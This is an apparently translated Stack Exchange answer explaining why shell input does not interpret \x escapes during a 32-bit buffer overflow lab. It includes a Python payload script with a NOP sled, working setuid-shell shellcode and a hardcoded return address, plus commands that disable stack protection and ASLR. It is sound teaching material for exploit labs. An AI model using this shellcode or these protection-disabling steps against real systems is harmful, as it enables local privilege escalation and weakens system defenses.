缓冲区溢出测试中\x格式NOP指令存储异常问题问询
你遇到的问题核心是终端Shell不会自动解析C风格的十六进制转义序列,和你用-m32编译32位程序无关,咱们一步步拆解清楚:
核心原因:Shell对输入的处理逻辑
当你在终端直接输入\x90这类字符串时,bash/zsh等Shell会把\、x、9、0这四个字符当作普通ASCII文本传递给程序,完全不会把它们转换成对应的单字节0x90。只有C编译器在编译代码时,才会解析字符串字面量里的\x转义符——终端输入的内容是纯字符流,每个字符都会被单独存储,所以你在内存里看到的0x3039785c,其实是小端序存储的\x90四个字符的ASCII值(\是0x5c,x是0x78,9是0x39,0是0x30)。
至于你用-m32编译32位程序,这本身是正确的操作(32位程序的栈布局更适合入门级缓冲区溢出实验),但它并不是导致转义序列失效的原因。
解决办法:生成真正的字节流输入
要让程序收到0x90这类原始字节,而不是ASCII字符,你需要用能解析转义序列并输出原始字节的工具构造输入:
1. 使用printf命令直接生成
printf支持解析C风格的转义序列,你可以把构造好的payload通过管道传给程序:
printf '\x90\x90\x90...[你的完整shellcode和目标地址]' | ./your_program
这样程序的scanf会读取到真正的0x90字节,而非四个ASCII字符。
2. 用Python脚本构造payload
如果payload比较复杂,用Python构造字节数组会更灵活:
import sys # 构造NOP滑条 + shellcode + 返回地址(注意32位程序地址是4字节小端序) nop_sled = b'\x90' * 80 # 根据你的缓冲区大小调整长度 shellcode = b'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' ret_addr = b'\xd2\xff\xff\xbf' # 示例:32位小端序的0xbfffffd2 payload = nop_sled + shellcode + ret_addr sys.stdout.buffer.write(payload)
然后运行脚本并把输出传给程序:
python3 payload.py | ./your_program
3. 编译时关闭栈保护机制
为了让缓冲区溢出能成功劫持控制流,你需要关闭GCC的栈保护功能,编译命令要加上这两个参数:
gcc -m32 -fno-stack-protector -z execstack your_program.c -o your_program
-fno-stack-protector:关闭栈金丝雀(stack canary),防止编译器检测缓冲区溢出-z execstack:允许栈区域执行代码,否则你的shellcode会因内存权限被拦截
4. 关闭地址空间随机化(ASLR)
Linux默认开启ASLR,会随机化栈地址,导致你硬编码的返回地址失效。可以临时关闭:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
测试完成后可以改回1恢复ASLR:
echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
总结
你之前的误区是把终端输入的字符串和C代码里的字符串字面量混为一谈了——终端输入的是纯字符流,不会被解析转义,必须用printf或Python这类工具生成真正的字节流,才能让shellcode正确存入内存并执行。
内容的提问来源于stack exchange,提问作者aneela

